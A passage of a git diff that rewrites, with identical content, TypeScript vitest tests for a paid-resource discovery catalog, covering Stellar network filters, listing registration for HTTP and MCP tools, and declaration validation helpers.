queryDiscoveryResources({ extensions: 'bazaar', limit: 50, offset: 0 }) - expect(mockFindMany).toHaveBeenCalledWith( - expect.objectContaining({ where: expect.objectContaining({ extensionKeys: { has: 'bazaar' } }) }) - ) - }) - - it('applies limit and offset for pagination', async () => { - await queryDiscoveryResources({ limit: 10, offset: 20 }) - expect(mockFindMany).toHaveBeenCalledWith( - expect.objectContaining({ take: 10, skip: 20 }) - ) - }) - - it('orders by createdAt desc with id as a stable tiebreaker', async () => { - await queryDiscoveryResources({ limit: 50, offset: 0 }) - expect(mockFindMany).toHaveBeenCalledWith( - expect.objectContaining({ orderBy: [{ createdAt: 'desc' }, { id: 'desc' }] }) - ) - }) - - it('returns total count alongside the page of resources', async () => { - mockCount.mockResolvedValue(137) - const result = await queryDiscoveryResources({ limit: 50, offset: 0 }) - expect(result.total).toBe(137) - }) - - it('maps a stored row back into the spec resource/accepts/extensions shape', async () => { - mockFindMany.mockResolvedValue([ - { - url: 'https://lens.example/price', - description: 'Unified price feed', - mimeType: 'application/json', - serviceName: 'Lens', - tags: ['price', 'stellar'], - iconUrl: 'https://lens.example/icon.png', - accepts: [{ scheme: 'exact', network: 'stellar:pubnet', amount: '100000', asset: 'USDC', payTo: 'GPAY', maxTimeoutSeconds: 60 }], - bazaarInfo: { input: { type: 'http', method: 'GET' } }, - bazaarSchema: { type: 'object' }, - routeTemplate: null, - extensionKeys: ['bazaar'], - }, - ]) - - const result = await queryDiscoveryResources({ limit: 50, offset: 0 }) - expect(result.resources).toHaveLength(1) - const listing = result.resources[0] - expect(listing.resource.url).toBe('https://lens.example/price') - expect(listing.resource.serviceName).toBe('Lens') - expect(listing.accepts[0].payTo).toBe('GPAY') - expect(listing.extensions.bazaar.info).toEqual({ input: { type: 'http', method: 'GET' } }) - expect(listing.extensions.bazaar).not.toHaveProperty('routeTemplate') - }) - - it('includes routeTemplate when present', async () => { - mockFindMany.mockResolvedValue([ - { - url: 'https://lens.example/users/123', - description: null, - mimeType: null, - serviceName: null, - tags: [], - iconUrl: null, - accepts: [], - bazaarInfo: { input: { type: 'http', method: 'GET' } }, - bazaarSchema: {}, - routeTemplate: '/users/:userId', - extensionKeys: ['bazaar'], - }, - ]) - - const result = await queryDiscoveryResources({ limit: 50, offset: 0 }) - expect(result.resources[0].extensions.bazaar.routeTemplate).toBe('/users/:userId') - }) -}) - -describe('registerBazaarResource', () => { - const httpInput: RegisterBazaarResourceInput = { - type: 'http', - network: 'mainnet', - resource: { url: 'https://lens.example/price' }, - accepts: [{ scheme: 'exact', network: 'stellar:pubnet', amount: '100000', asset: 'USDC', payTo: 'GPAY', maxTimeoutSeconds: 60 }], - bazaar: { info: { input: { type: 'http', method: 'GET' } }, schema: { type: 'object' } }, - } - - const mcpInput: RegisterBazaarResourceInput = { - type: 'mcp', - network: 'testnet', - resource: { url: 'https://lens.example/mcp' }, - accepts: [{ scheme: 'exact', network: 'stellar:testnet', amount: '100000', asset: 'USDC', payTo: 'GPAY2', maxTimeoutSeconds: 60 }], - bazaar: { - info: { input: { type: 'mcp', toolName: 'financial_analysis', inputSchema: { type: 'object' } } }, - schema: { type: 'object' }, - }, - } - - it('upserts an HTTP resource keyed on (network, url, httpMethod)', async () => { - await registerBazaarResource(httpInput) - expect(mockUpsert).toHaveBeenCalledWith( - expect.objectContaining({ - where: { bazaarHttpIdentity: { network: 'mainnet', url: 'https://lens.example/price', httpMethod: 'GET' } }, - }) - ) - }) - - it('upserts an MCP resource keyed on (network, resource.url, input.toolName)', async () => { - await registerBazaarResource(mcpInput) - expect(mockUpsert).toHaveBeenCalledWith( - expect.objectContaining({ - where: { bazaarMcpIdentity: { network: 'testnet', url: 'https://lens.example/mcp', mcpToolName: 'financial_analysis' } }, - }) - ) - }) - - it('rejects registration when accepts[] is empty', async () => { - await expect( - registerBazaarResource({ ...httpInput, accepts: [] }) - ).rejects.toThrow(/payTo/) - expect(mockUpsert).not.toHaveBeenCalled() - }) - - it('denormalizes payTo from accepts[0] onto the row', async () => { - await registerBazaarResource(httpInput) - expect(mockUpsert).toHaveBeenCalledWith( - expect.objectContaining({ create: expect.objectContaining({ payTo: 'GPAY' }) }) - ) - }) - - it('always includes "bazaar" in extensionKeys by default', async () => { - await registerBazaarResource(httpInput) - expect(mockUpsert).toHaveBeenCalledWith( - expect.objectContaining({ create: expect.objectContaining({ extensionKeys: ['bazaar'] }) }) - ) - }) -}) +import { describe, it, expect, vi, beforeEach } from 'vitest' + +const { mockFindMany, mockCount, mockUpsert, mockDeleteMany } = vi.hoisted(() => ({ + mockFindMany: vi.fn(), + mockCount: vi.fn(), + mockUpsert: vi.fn(), + mockDeleteMany: vi.fn(), +})) + +vi.mock('../db', () => ({ + prisma: { + bazaarResource: { + findMany: mockFindMany, + count: mockCount, + upsert: mockUpsert, + deleteMany: mockDeleteMany, + }, + }, +})) + +import { + parseDiscoveryFilters, + queryDiscoveryResources, + registerBazaarResource, +} from '../bazaar/catalog' +import type { RegisterBazaarResourceInput } from '../bazaar/types' + +beforeEach(() => { + mockFindMany.mockReset().mockResolvedValue([]) + mockCount.mockReset().mockResolvedValue(0) + mockUpsert.mockReset().mockResolvedValue({}) + mockDeleteMany.mockReset().mockResolvedValue({ count: 0 }) +}) + +describe('parseDiscoveryFilters', () => { + it('defaults limit to 50 and offset to 0', () => { + const filters = parseDiscoveryFilters({}) + expect(filters.limit).toBe(50) + expect(filters.offset).toBe(0) + }) + + it('clamps limit to a maximum of 200', () => { + const filters = parseDiscoveryFilters({ limit: '10000' }) + expect(filters.limit).toBe(200) + }) + + it('rejects a negative or zero limit, falling back to the default', () => { + expect(parseDiscoveryFilters({ limit: '-5' }).limit).toBe(50) + expect(parseDiscoveryFilters({ limit: '0' }).limit).toBe(50) + }) + + it('rejects a negative offset, falling back to 0', () => { + expect(parseDiscoveryFilters({ offset: '-10' }).offset).toBe(0) + }) + + it('passes through a valid offset', () => { + expect(parseDiscoveryFilters({ offset: '25' }).offset).toBe(25) + }) + + it('only accepts "http" or "mcp" for type, dropping anything else', () => { + expect(parseDiscoveryFilters({ type: 'http' }).type).toBe('http') + expect(parseDiscoveryFilters({ type: 'mcp' }).type).toBe('mcp') + expect(parseDiscoveryFilters({ type: 'websocket' }).type).toBeUndefined() + }) + + it('passes through payTo, network, and extensions filters', () => { + const filters = parseDiscoveryFilters({ + payTo: 'GABC', + network: 'stellar:pubnet', + extensions: 'bazaar', + }) + expect(filters.payTo).toBe('GABC') + expect(filters.network).toBe('stellar:pubnet') + expect(filters.extensions).toBe('bazaar') + }) +}) + +describe('queryDiscoveryResources', () => { + it('filters by type', async () => { + await queryDiscoveryResources({ type: 'mcp', limit: 50, offset: 0 }) + expect(mockFindMany).toHaveBeenCalledWith( + expect.objectContaining({ where: expect.objectContaining({ type: 'mcp' }) }) + ) + }) + + it('filters by payTo', async () => { + await queryDiscoveryResources({ payTo: 'GPAY', limit: 50, offset: 0 }) + expect(mockFindMany).toHaveBeenCalledWith( + expect.objectContaining({ where: expect.objectContaining({ payTo: 'GPAY' }) }) + ) + }) + + it('resolves a CAIP-2 network filter to the internal NetworkName', async () => { + await queryDiscoveryResources({ network: 'stellar:pubnet', limit: 50, offset: 0 }) + expect(mockFindMany).toHaveBeenCalledWith( + expect.objectContaining({ where: expect.objectContaining({ network: 'mainnet' }) }) + ) + }) + + it('resolves stellar:testnet to testnet', async () => { + await queryDiscoveryResources({ network: 'stellar:testnet', limit: 50, offset: 0 }) + expect(mockFindMany).toHaveBeenCalledWith( + expect.objectContaining({ where: expect.objectContaining({ network: 'testnet' }) }) + ) + }) + + it('passes through an unrecognized network filter verbatim', async () => { + await queryDiscoveryResources({ network: 'eip155:8453', limit: 50, offset: 0 }) + expect(mockFindMany).toHaveBeenCalledWith( + expect.objectContaining({ where: expect.objectContaining({ network: 'eip155:8453' }) }) + ) + }) + + it('filters by extension key presence', async () => { + await queryDiscoveryResources({ extensions: 'bazaar', limit: 50, offset: 0 }) + expect(mockFindMany).toHaveBeenCalledWith( + expect.objectContaining({ where: expect.objectContaining({ extensionKeys: { has: 'bazaar' } }) }) + ) + }) + + it('applies limit and offset for pagination', async () => { + await queryDiscoveryResources({ limit: 10, offset: 20 }) + expect(mockFindMany).toHaveBeenCalledWith( + expect.objectContaining({ take: 10, skip: 20 }) + ) + }) + + it('orders by createdAt desc with id as a stable tiebreaker', async () => { + await queryDiscoveryResources({ limit: 50, offset: 0 }) + expect(mockFindMany).toHaveBeenCalledWith( + expect.objectContaining({ orderBy: [{ createdAt: 'desc' }, { id: 'desc' }] }) + ) + }) + + it('returns total count alongside the page of resources', async () => { + mockCount.mockResolvedValue(137) + const result = await queryDiscoveryResources({ limit: 50, offset: 0 }) + expect(result.total).toBe(137) + }) + + it('maps a stored row back into the spec resource/accepts/extensions shape', async () => { + mockFindMany.mockResolvedValue([ + { + url: 'https://lens.example/price', + description: 'Unified price feed', + mimeType: 'application/json', + serviceName: 'Lens', + tags: ['price', 'stellar'], + iconUrl: 'https://lens.example/icon.png', + accepts: [{ scheme: 'exact', network: 'stellar:pubnet', amount: '100000', asset: 'USDC', payTo: 'GPAY', maxTimeoutSeconds: 60 }], + bazaarInfo: { input: { type: 'http', method: 'GET' } }, + bazaarSchema: { type: 'object' }, + routeTemplate: null, + extensionKeys: ['bazaar'], + }, + ]) + + const result = await queryDiscoveryResources({ limit: 50, offset: 0 }) + expect(result.resources).toHaveLength(1) + const listing = result.resources[0] + expect(listing.resource.url).toBe('https://lens.example/price') + expect(listing.resource.serviceName).toBe('Lens') + expect(listing.accepts[0].payTo).toBe('GPAY') + expect(listing.extensions.bazaar.info).toEqual({ input: { type: 'http', method: 'GET' } }) + expect(listing.extensions.bazaar).not.toHaveProperty('routeTemplate') + }) + + it('includes routeTemplate when present', async () => { + mockFindMany.mockResolvedValue([ + { + url: 'https://lens.example/users/123', + description: null, + mimeType: null, + serviceName: null, + tags: [], + iconUrl: null, + accepts: [], + bazaarInfo: { input: { type: 'http', method: 'GET' } }, + bazaarSchema: {}, + routeTemplate: '/users/:userId', + extensionKeys: ['bazaar'], + }, + ]) + + const result = await queryDiscoveryResources({ limit: 50, offset: 0 }) + expect(result.resources[0].extensions.bazaar.routeTemplate).toBe('/users/:userId') + }) +}) + +describe('registerBazaarResource', () => { + const httpInput: RegisterBazaarResourceInput = { + type: 'http', + network: 'mainnet', + resource: { url: 'https://lens.example/price' }, + accepts: [{ scheme: 'exact', network: 'stellar:pubnet', amount: '100000', asset: 'USDC', payTo: 'GPAY', maxTimeoutSeconds: 60 }], + bazaar: { info: { input: { type: 'http', method: 'GET' } }, schema: { type: 'object' } }, + } + + const mcpInput: RegisterBazaarResourceInput = { + type: 'mcp', + network: 'testnet', + resource: { url: 'https://lens.example/mcp' }, + accepts: [{ scheme: 'exact', network: 'stellar:testnet', amount: '100000', asset: 'USDC', payTo: 'GPAY2', maxTimeoutSeconds: 60 }], + bazaar: { + info: { input: { type: 'mcp', toolName: 'financial_analysis', inputSchema: { type: 'object' } } }, + schema: { type: 'object' }, + }, + } + + it('upserts an HTTP resource keyed on (network, url, httpMethod)', async () => { + await registerBazaarResource(httpInput) + expect(mockUpsert).toHaveBeenCalledWith( + expect.objectContaining({ + where: { bazaarHttpIdentity: { network: 'mainnet', url: 'https://lens.example/price', httpMethod: 'GET' } }, + }) + ) + }) + + it('upserts an MCP resource keyed on (network, resource.url, input.toolName)', async () => { + await registerBazaarResource(mcpInput) + expect(mockUpsert).toHaveBeenCalledWith( + expect.objectContaining({ + where: { bazaarMcpIdentity: { network: 'testnet', url: 'https://lens.example/mcp', mcpToolName: 'financial_analysis' } }, + }) + ) + }) + + it('rejects registration when accepts[] is empty', async () => { + await expect( + registerBazaarResource({ ...httpInput, accepts: [] }) + ).rejects.toThrow(/payTo/) + expect(mockUpsert).not.toHaveBeenCalled() + }) + + it('denormalizes payTo from accepts[0] onto the row', async () => { + await registerBazaarResource(httpInput) + expect(mockUpsert).toHaveBeenCalledWith( + expect.objectContaining({ create: expect.objectContaining({ payTo: 'GPAY' }) }) + ) + }) + + it('always includes "bazaar" in extensionKeys by default', async () => { + await registerBazaarResource(httpInput) + expect(mockUpsert).toHaveBeenCalledWith( + expect.objectContaining({ create: expect.objectContaining({ extensionKeys: ['bazaar'] }) }) + ) + }) +}) diff --git a/src/__tests__/bazaarDeclare.test.ts b/src/__tests__/bazaarDeclare.test.ts index f0f6cc4d..99124a7e 100644 --- a/src/__tests__/bazaarDeclare.test.ts +++ b/src/__tests__/bazaarDeclare.test.ts @@ -1,281 +1,281 @@ -import { describe, it, expect } from 'vitest' -import { - assertDeclaration, - declareHttpResource, - declareMcpTool, - param, - validateDeclaration, - type DeclaredParam, -} from '../bazaar/declare' -import { lensListings, lensMcpListing } from '../bazaar/lensListings' - -const PAY_TO = 'GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN' -const accepts = [ - { scheme: 'exact', amount: '100000', asset: 'USDC', payTo: PAY_TO, maxTimeoutSeconds: 60 }, -] - -describe('param constructors', () => { - it('puts the description in the schema and defaults to required', () => { - const p = param.string('The base asset, as CODE:ISSUER or XLM.') - expect(p.schema).toMatchObject({ type: 'string', description: 'The base asset, as CODE:ISSUER or XLM.' }) - expect(p.required).toBe(true) - }) - - it('carries examples and defaults through so an agent has a value to copy', () => { - const p = param.integer('Averaging window in minutes, 1 to 1440.', { required: false, default: 60, example: 120 }) - expect(p.required).toBe(false) - expect(p.schema).toMatchObject({ type: 'integer', default: 60, examples: [120] }) - }) - - it('emits an enum for a closed set of values', () => { - const p = param.enumOf(['1m', '1h'], 'Candle bucket size, one of the listed intervals.') - expect(p.schema.enum).toEqual(['1m', '1h']) - }) -}) - -describe('declareHttpResource', () => { - const pathParams = { assetA: param.string('Base asset, as "XLM" or "CODE:ISSUER".') } - - it('assembles path params into a JSON Schema object with required names', () => { - const listing = declareHttpResource({ - url: 'https://lens.example/price/:assetA', - method: 'GET', - network: 'testnet', - description: 'Unified Stellar price for an asset pair.', - accepts, - pathParams, - }) - const input = listing.bazaar.info.input as { pathParams: Record } - expect(input.pathParams).toMatchObject({ - type: 'object', - additionalProperties: false, - required: ['assetA'], - properties: { assetA: { type: 'string', description: 'Base asset, as "XLM" or "CODE:ISSUER".' } }, - }) - }) - - it('fills the CAIP-2 network on accepts from the listing network', () => { - const listing = declareHttpResource({ - url: 'https://lens.example/pools', - method: 'GET', - network: 'mainnet', - description: 'AMM liquidity pool reserves and spot prices.', - accepts, - }) - expect(listing.accepts[0].network).toBe('stellar:pubnet') - }) - - it('does not overwrite an explicitly supplied accepts network', () => { - const listing = declareHttpResource({ - url: 'https://lens.example/pools', - method: 'GET', - network: 'mainnet', - description: 'AMM liquidity pool reserves and spot prices.', - accepts: [{ ...accepts[0], network: 'stellar:testnet' }], - }) - expect(listing.accepts[0].network).toBe('stellar:testnet') - }) - - it('uses body and bodyType for methods that carry one, not queryParams', () => { - const listing = declareHttpResource({ - url: 'https://lens.example/graphql', - method: 'POST', - network: 'testnet', - description: 'GraphQL queries over Lens price and market data.', - accepts, - body: { query: param.string('The GraphQL query document to execute.') }, - }) - const input = listing.bazaar.info.input as Record - expect(input.bodyType).toBe('application/json') - expect(input.body).toBeDefined() - expect(input.queryParams).toBeUndefined() - }) - - it('omits an empty parameter set rather than emitting an empty schema', () => { - const listing = declareHttpResource({ - url: 'https://lens.example/pools', - method: 'GET', - network: 'testnet', - description: 'AMM liquidity pool reserves and spot prices.', - accepts, - queryParams: {}, - }) - expect((listing.bazaar.info.input as Record).queryParams).toBeUndefined() - }) -}) - -describe('validateDeclaration', () => { - const good = { - url: 'https://lens.example/price/:assetA', - method: 'GET' as const, - network: 'testnet' as const, - description: 'Unified Stellar price for an asset pair.', - accepts, - } - - it('accepts a well-formed declaration', () => { - const pathParams = { assetA: param.string('Base asset, as "XLM" or "CODE:ISSUER".') } - const result = validateDeclaration(declareHttpResource({ ...good, pathParams }), { pathParams }) - expect(result.ok).toBe(true) - }) - - it('rejects a parameter with no description — the whole point of the helpers', () => { - const pathParams: Record = { - assetA: { schema: { type: 'string' }, required: true }, - } - const result = validateDeclaration(declareHttpResource({ ...good, pathParams }), { pathParams }) - expect(result.ok).toBe(false) - if (result.ok) return - expect(result.problems).toContainEqual( - expect.objectContaining({ field: 'pathParams.assetA', code: 'missing_param_description' }), - ) - }) - - it('rejects a description too short to select on', () => { - const pathParams = { assetA: param.string('asset') } - const result = validateDeclaration(declareHttpResource({ ...good, pathParams }), { pathParams }) - expect(result.ok).toBe(false) - if (result.ok) return - expect(result.problems).toContainEqual( - expect.objectContaining({ field: 'pathParams.assetA', code: 'param_description_too_short' }), - ) - }) - - it('rejects a weak resource description', () => { - const result = validateDeclaration(declareHttpResource({ ...good, description: 'prices' })) - expect(result.ok).toBe(false) - if (result.ok) return - expect(result.problems).toContainEqual( - expect.objectContaining({ field: 'resource.description', code: 'weak_resource_description' }), - ) - }) - - it('rejects a routeTemplate naming a parameter nobody declared', () => { - const pathParams = { assetA: param.string('Base asset, as "XLM" or "CODE:ISSUER".') } - const listing = declareHttpResource({ ...good, pathParams, routeTemplate: '/price/:assetA/:assetB' }) - const result = validateDeclaration(listing, { pathParams, routeTemplate: '/price/:assetA/:assetB' }) - expect(result.ok).toBe(false) - if (result.ok) return - expect(result.problems).toContainEqual( - expect.objectContaining({ code: 'undeclared_route_param', field: 'routeTemplate' }), - ) - }) - - it('rejects a listing with no payment requirement', () => { - const result = validateDeclaration(declareHttpResource({ ...good, accepts: [] })) - expect(result.ok).toBe(false) - if (result.ok) return - expect(result.problems).toContainEqual(expect.objectContaining({ code: 'missing_accepts' })) - }) - - it('surfaces the catalog’s own drops, so local and remote agree', () => { - // http:// is rejected by validateListing; the seller should hear it here. - const result = validateDeclaration(declareHttpResource({ ...good, url: 'http://lens.example/price' })) - expect(result.ok).toBe(false) - if (result.ok) return - expect(result.problems.some((p) => p.field === 'resource.url')).toBe(true) - }) -}) - -describe('assertDeclaration', () => { - it('returns the listing when it is valid', () => { - const listing = declareHttpResource({ - url: 'https://lens.example/pools', - method: 'GET', - network: 'testnet', - description: 'AMM liquidity pool reserves and spot prices.', - accepts, - }) - expect(assertDeclaration(listing)).toBe(listing) - }) - - it('throws naming the field and code, so a bad listing fails the boot', () => { - const listing = declareHttpResource({ - url: 'https://lens.example/pools', - method: 'GET', - network: 'testnet', - description: 'pools', - accepts, - }) - expect(() => assertDeclaration(listing)).toThrow(/resource\.description.*weak_resource_description/s) - }) -}) - -describe('declareMcpTool', () => { - it('builds an mcp input with the tool name and a described input schema', () => { - const input = { assetA: param.string('Base asset, as "XLM" or "CODE:ISSUER".') } - const listing = declareMcpTool({ - url: 'https://lens.example/mcp', - network: 'testnet', - description: 'Unified Stellar price for an asset pair.', - accepts, - toolName: 'get_price', - transport: 'streamable-http', - input, - }) - expect(listing.type).toBe('mcp') - expect(listing.bazaar.info.input).toMatchObject({ - type: 'mcp', - toolName: 'get_price', - transport: 'streamable-http', - inputSchema: { properties: { assetA: { description: expect.any(String) } } }, - }) - }) - - it('emits an empty object schema for a tool that takes no arguments', () => { - const listing = declareMcpTool({ - url: 'https://lens.example/mcp', - network: 'testnet', - description: 'Health and indexer status for the Lens deployment.', - accepts, - toolName: 'get_status', - }) - expect((listing.bazaar.info.input as { inputSchema: Record }).inputSchema).toMatchObject({ - type: 'object', - additionalProperties: false, - }) - }) -}) - -describe('Lens dogfoods its own helpers', () => { - const listings = lensListings({ baseUrl: 'https://lens.example', network: 'testnet', accepts }) - - it('declares every gated route, and each one validates', () => { - // lensListings() runs assertDeclaration internally, so reaching here at all - // means they passed. Assert the coverage explicitly anyway. - const urls = listings.map((l) => l.resource.url) - expect(urls).toEqual([ - 'https://lens.example/price/:assetA/:assetB', - 'https://lens.example/candles/:assetA/:assetB', - 'https://lens.example/pools', - 'https://lens.example/price/twap/:assetA/:assetB', - ]) - }) - - it('gives every declared parameter a description', () => { - for (const listing of listings) { - const input = listing.bazaar.info.input as Record - for (const key of ['pathParams', 'queryParams', 'body']) { - const schema = input[key] - if (!schema) continue - for (const [name, prop] of Object.entries(schema.properties as Record)) { - expect(typeof prop.description, `${listing.resource.url} ${key}.${name}`).toBe('string') - expect((prop.description as string).length).toBeGreaterThan(11) - } - } - } - }) - - it('prices every listing on the declared network', () => { - for (const listing of listings) { - expect(listing.accepts.length).toBeGreaterThan(0) - expect(listing.accepts[0].network).toBe('stellar:testnet') - } - }) - - it('declares the MCP face of the price feed too', () => { - const mcp = lensMcpListing({ url: 'https://lens.example/mcp', network: 'testnet', accepts }) - expect(mcp.type).toBe('mcp') - expect((mcp.bazaar.info.input as { toolName: string }).toolName).toBe('get_price') - }) -}) +import { describe, it, expect } from 'vitest' +import { + assertDeclaration, + declareHttpResource, + declareMcpTool, + param, + validateDeclaration, + type DeclaredParam, +} from '../bazaar/declare' +import { lensListings, lensMcpListing } from '../bazaar/lensListings' + +const PAY_TO = 'GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN' +const accepts = [ + { scheme: 'exact', amount: '100000', asset: 'USDC', payTo: PAY_TO, maxTimeoutSeconds: 60 }, +] + +describe('param constructors', () => { + it('puts the description in the schema and defaults to required', () => { + const p = param.string('The base asset, as CODE:ISSUER or XLM.') + expect(p.schema).toMatchObject({ type: 'string', description: 'The base asset, as CODE:ISSUER or XLM.' }) + expect(p.required).toBe(true) + }) + + it('carries examples and defaults through so an agent has a value to copy', () => { + const p = param.integer('Averaging window in minutes, 1 to 1440.', { required: false, default: 60, example: 120 }) + expect(p.required).toBe(false) + expect(p.schema).toMatchObject({ type: 'integer', default: 60, examples: [120] }) + }) + + it('emits an enum for a closed set of values', () => { + const p = param.enumOf(['1m', '1h'], 'Candle bucket size, one of the listed intervals.') + expect(p.schema.enum).toEqual(['1m', '1h']) + }) +}) + +describe('declareHttpResource', () => { + const pathParams = { assetA: param.string('Base asset, as "XLM" or "CODE:ISSUER".') } + + it('assembles path params into a JSON Schema object with required names', () => { + const listing = declareHttpResource({ + url: 'https://lens.example/price/:assetA', + method: 'GET', + network: 'testnet', + description: 'Unified Stellar price for an asset pair.', + accepts, + pathParams, + }) + const input = listing.bazaar.info.input as { pathParams: Record } + expect(input.pathParams).toMatchObject({ + type: 'object', + additionalProperties: false, + required: ['assetA'], + properties: { assetA: { type: 'string', description: 'Base asset, as "XLM" or "CODE:ISSUER".' } }, + }) + }) + + it('fills the CAIP-2 network on accepts from the listing network', () => { + const listing = declareHttpResource({ + url: 'https://lens.example/pools', + method: 'GET', + network: 'mainnet', + description: 'AMM liquidity pool reserves and spot prices.', + accepts, + }) + expect(listing.accepts[0].network).toBe('stellar:pubnet') + }) + + it('does not overwrite an explicitly supplied accepts network', () => { + const listing = declareHttpResource({ + url: 'https://lens.example/pools', + method: 'GET', + network: 'mainnet', + description: 'AMM liquidity pool reserves and spot prices.', + accepts: [{ ...accepts[0], network: 'stellar:testnet' }], + }) + expect(listing.accepts[0].network).toBe('stellar:testnet') + }) + + it('uses body and bodyType for methods that carry one, not queryParams', () => { + const listing = declareHttpResource({ + url: 'https://lens.example/graphql', + method: 'POST', + network: 'testnet', + description: 'GraphQL queries over Lens price and market data.', + accepts, + body: { query: param.string('The GraphQL query document to execute.') }, + }) + const input = listing.bazaar.info.input as Record + expect(input.bodyType).toBe('application/json') + expect(input.body).toBeDefined() + expect(input.queryParams).toBeUndefined() + }) + + it('omits an empty parameter set rather than emitting an empty schema', () => { + const listing = declareHttpResource({ + url: 'https://lens.example/pools', + method: 'GET', + network: 'testnet', + description: 'AMM liquidity pool reserves and spot prices.', + accepts, + queryParams: {}, + }) + expect((listing.bazaar.info.input as Record).queryParams).toBeUndefined() + }) +}) + +describe('validateDeclaration', () => { + const good = { + url: 'https://lens.example/price/:assetA', + method: 'GET' as const, + network: 'testnet' as const, + description: 'Unified Stellar price for an asset pair.', + accepts, + } + + it('accepts a well-formed declaration', () => { + const pathParams = { assetA: param.string('Base asset, as "XLM" or "CODE:ISSUER".') } + const result = validateDeclaration(declareHttpResource({ ...good, pathParams }), { pathParams }) + expect(result.ok).toBe(true) + }) + + it('rejects a parameter with no description — the whole point of the helpers', () => { + const pathParams: Record = { + assetA: { schema: { type: 'string' }, required: true }, + } + const result = validateDeclaration(declareHttpResource({ ...good, pathParams }), { pathParams }) + expect(result.ok).toBe(false) + if (result.ok) return + expect(result.problems).toContainEqual( + expect.objectContaining({ field: 'pathParams.assetA', code: 'missing_param_description' }), + ) + }) + + it('rejects a description too short to select on', () => { + const pathParams = { assetA: param.string('asset') } + const result = validateDeclaration(declareHttpResource({ ...good, pathParams }), { pathParams }) + expect(result.ok).toBe(false) + if (result.ok) return + expect(result.problems).toContainEqual( + expect.objectContaining({ field: 'pathParams.assetA', code: 'param_description_too_short' }), + ) + }) + + it('rejects a weak resource description', () => { + const result = validateDeclaration(declareHttpResource({ ...good, description: 'prices' })) + expect(result.ok).toBe(false) + if (result.ok) return + expect(result.problems).toContainEqual( + expect.objectContaining({ field: 'resource.description', code: 'weak_resource_description' }), + ) + }) + + it('rejects a routeTemplate naming a parameter nobody declared', () => { + const pathParams = { assetA: param.string('Base asset, as "XLM" or "CODE:ISSUER".') } + const listing = declareHttpResource({ ...good, pathParams, routeTemplate: '/price/:assetA/:assetB' }) + const result = validateDeclaration(listing, { pathParams, routeTemplate: '/price/:assetA/:assetB' }) + expect(result.ok).toBe(false) + if (result.ok) return + expect(result.problems).toContainEqual( + expect.objectContaining({ code: 'undeclared_route_param', field: 'routeTemplate' }), + ) + }) + + it('rejects a listing with no payment requirement', () => { + const result = validateDeclaration(declareHttpResource({ ...good, accepts: [] })) + expect(result.ok).toBe(false) + if (result.ok) return + expect(result.problems).toContainEqual(expect.objectContaining({ code: 'missing_accepts' })) + }) + + it('surfaces the catalog’s own drops, so local and remote agree', () => { + // http:// is rejected by validateListing; the seller should hear it here. + const result = validateDeclaration(declareHttpResource({ ...good, url: 'http://lens.example/price' })) + expect(result.ok).toBe(false) + if (result.ok) return + expect(result.problems.some((p) => p.field === 'resource.url')).toBe(true) + }) +}) + +describe('assertDeclaration', () => { + it('returns the listing when it is valid', () => { + const listing = declareHttpResource({ + url: 'https://lens.example/pools', + method: 'GET', + network: 'testnet', + description: 'AMM liquidity pool reserves and spot prices.', + accepts, + }) + expect(assertDeclaration(listing)).toBe(listing) + }) + + it('throws naming the field and code, so a bad listing fails the boot', () => { + const listing = declareHttpResource({ + url: 'https://lens.example/pools', + method: 'GET', + network: 'testnet', + description: 'pools', + accepts, + }) + expect(() => assertDeclaration(listing)).toThrow(/resource\.description.*weak_resource_description/s) + }) +}) + +describe('declareMcpTool', () => { + it('builds an mcp input with the tool name and a described input schema', () => { + const input = { assetA: param.string('Base asset, as "XLM" or "CODE:ISSUER".') } + const listing = declareMcpTool({ + url: 'https://lens.example/mcp', + network: 'testnet', + description: 'Unified Stellar price for an asset pair.', + accepts, + toolName: 'get_price', + transport: 'streamable-http', + input, + }) + expect(listing.type).toBe('mcp') + expect(listing.bazaar.info.input).toMatchObject({ + type: 'mcp', + toolName: 'get_price', + transport: 'streamable-http', + inputSchema: { properties: { assetA: { description: expect.any(String) } } }, + }) + }) + + it('emits an empty object schema for a tool that takes no arguments', () => { + const listing = declareMcpTool({ + url: 'https://lens.example/mcp', + network: 'testnet', + description: 'Health and indexer status for the Lens deployment.', + accepts, + toolName: 'get_status', + }) + expect((listing.bazaar.info.input as { inputSchema: Record }).inputSchema).toMatchObject({ + type: 'object', + additionalProperties: false, + }) + }) +}) + +describe('Lens dogfoods its own helpers', () => { + const listings = lensListings({ baseUrl: 'https://lens.example', network: 'testnet', accepts }) + + it('declares every gated route, and each one validates', () => { + // lensListings() runs assertDeclaration internally, so reaching here at all + // means they passed. Assert the coverage explicitly anyway. + const urls = listings.map((l) => l.resource.url) + expect(urls).toEqual([ + 'https://lens.example/price/:assetA/:assetB', + 'https://lens.example/candles/:assetA/:assetB', + 'https://lens.example/pools', + 'https://lens.example/price/twap/:assetA/:assetB', + ]) + }) + + it('gives every declared parameter a description', () => { + for (const listing of listings) { + const input = listing.bazaar.info.input as Record + for (const key of ['pathParams', 'queryParams', 'body']) { + const schema = input[key] + if (!schema) continue + for (const [name, prop] of Object.entries(schema.properties as Record)) { + expect(typeof prop.description, `${listing.resource.url} ${key}.${name}`).toBe('string') + expect((prop.description as string).length).toBeGreaterThan(11) + } + } + } + }) + + it('prices every listing on the declared network', () => { + for (const listing of listings) { + expect(listing.accepts.length).toBeGreaterThan(0) + expect(listing.accepts[0].network).toBe('stellar:testnet') + } + }) + + it('declares the MCP face of the price feed too', () => { + const mcp = lensMcpListing({ url: 'https://lens.example/mcp', network: 'testnet', accepts }) + expect(mcp.type).toBe('mcp') + expect((mcp.bazaar.info.input as { toolName: string }).toolName).toBe('get_price') + }) +}) diff --git a/src/__tests__/bazaarIntegrity.test.ts b/src/__tests__/bazaarIntegrity.test.ts index 89bb0385..af0fea12 100644 --- a/src/__tests__/bazaarIntegrity.test.ts +++ b/src/__tests__/bazaarIntegrity.test.ts @@ -1,435 +1,435 @@ -import { describe, it, expect, vi, beforeEach } from 'vitest' - -const { mockFindFirst, mockUpsert, mockFindMany, mockCount, mockCheckRate } = vi.hoisted(() => ({ - mockFindFirst: vi.fn(), - mockUpsert: vi.fn(), - mockFindMany: vi.fn(), - mockCount: vi.fn(), - mockCheckRate: vi.fn(), -})) - -vi.mock('../db', () => ({ - prisma: { - bazaarResource: { - findFirst: mockFindFirst, - upsert: mockUpsert, - findMany: mockFindMany, - count: mockCount, - deleteMany: vi.fn(), - }, - }, -})) - -vi.mock('../bazaar/rateLimit', 